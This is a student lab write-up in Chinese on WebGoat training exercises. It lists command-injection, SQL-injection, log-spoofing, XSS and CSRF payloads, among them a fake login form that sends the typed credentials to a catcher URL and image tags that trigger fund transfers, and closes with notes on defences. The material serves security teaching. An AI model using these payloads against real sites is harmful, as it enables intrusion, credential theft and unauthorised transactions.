2017-2018-2 20155224 『網絡對抗技術』Exp9:Web安全基礎

實驗完成狀況

  • 共完成11題

準備工做

  • 在瀏覽器輸入localhost:8080/WebGoat打開webgoat,左側選擇題目

  • 右鍵選擇Inspect Element開始調試

Injection Flaws

1. Command Injection

  • 右鍵開始調試,在頁面下拉菜單的源代碼中添加"& netstat -an & ipconfig"

  • 選中咱們改動的那一項,點擊View查看結果

2. Numberic SQL Injection

  • 將語句改成SELECT * FROM weather_data WHERE station = 101 OR 1=1,並在station的value處作相應修改

  • 能夠查看各地天氣了

3. Log Spoofing

  • username一欄輸入:5224【學號】%0d%0aLogin Succeeded for username: adminweb

  • 查看結果正則表達式

4. LAB:SQL Injection

  • 更改密碼欄maxlength爲100.sql

  • 選擇用戶Neville (admin)登錄,在密碼欄輸入' or 1=1 --數據庫

5. Database Backdoors

  • 輸入101查看我的信息

  • 輸入簡單語句101; update employee set salary=5224進行攻擊,這裏沒有作太多操做

6. Blind Numberic SQL Injection

  • 利用相似於101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 );的語句縮小範圍,最終肯定pin值

Cross-Site Scripting(XSS)

1. Phishing with XSS

  • 在Search欄輸入表單代碼
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 能夠看到出現了相應表單,能夠輸入用戶名密碼

  • 點擊登錄,能夠接收到輸入的用戶名和密碼

2. Reflected XSS Attacks

  • 在最後一個對話框輸入<script>alert('I am 5224')</script>【或其餘警告】

  • 彈出相應對話框

CSRF

1. Cross Site Request Forgery (CSRF)

  • 在Message對話框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=288&menu=900&transferFunds=500" width="1" height="1">

【注意Screenmenu的值應爲本身頁面右側窗口出的數值】瀏覽器

2. CSRF Prompt By-Pass

  • 在Message對話框中輸入
<img src="attack?Screen=226&menu=900&transferFunds=5000" 
width="1" height="1"> 
<img src="attack?Screen=226&menu=900&transferFunds=confirm" 
width="1" height="1">

基礎問題回答

1. SQL注入攻擊原理,如何防護

  • 攻擊原理:SQL注入便是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非受權的任意查詢,從而進一步獲得相應的數據信息。服務器

  • SQL注入通常流程是:cookie

  1. 尋找到SQL注入的位置session

  2. 判斷服務器類型和後臺數據庫類型xss

  3. 針對不通的服務器和數據庫特色進行SQL注入攻擊jsp

  • 防護措施:採用預編譯語句,使用正則表達式過濾傳入的參數,字符串過濾,jsp中調用該函數檢查是否包函非法字符等。整體來講必定要注意規範代碼,儘可能減小有漏洞的地方。

2. XSS攻擊的原理,如何防護

  • 攻擊原理:XSS又稱CSS,全稱Cross SiteScript,跨站腳本攻擊,是Web程序中常見的漏洞,XSS屬於被動式且用於客戶端的攻擊方式,因此容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當其它用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。

  • 防護措施:HttpOnly防止劫取Cookie;輸入檢查通常是檢查用戶輸入的數據中是否包含一些特殊字符,如<、>、'、"等,若是發現存在特殊字符,則將這些字符過濾或者編碼等。

3. CSRF攻擊原理,如何防護

  • 攻擊原理:CSRF攻擊的主要目的是讓用戶在不知情的狀況下攻擊本身已登陸的一個系統,相似於釣魚。如用戶當前已經登陸了郵箱,或bbs,同時用戶又在使用另一個,已經被你控制的站點,咱們姑且叫它釣魚網站。這個網站上面可能由於某個圖片吸引你,你去點擊一下,此時可能就會觸發一個js的點擊事件,構造一個bbs發帖的請求,去往你的bbs發帖,因爲當前你的瀏覽器狀態已是登錄狀態,因此session登錄cookie信息都會跟正常的請求同樣,純自然的利用當前的登錄狀態,讓用戶在不知情的狀況下,幫你發帖或幹其餘事情。

  • 防護措施:驗證HTTP Referer字段,在請求地址中添加token並驗證,在HTTP頭中自定義屬性並驗證等。

實驗感想

有意思是真的有意思,個人kali全屏以後整個高斯模糊、我也是真的服氣

相關文章
相關標籤/搜索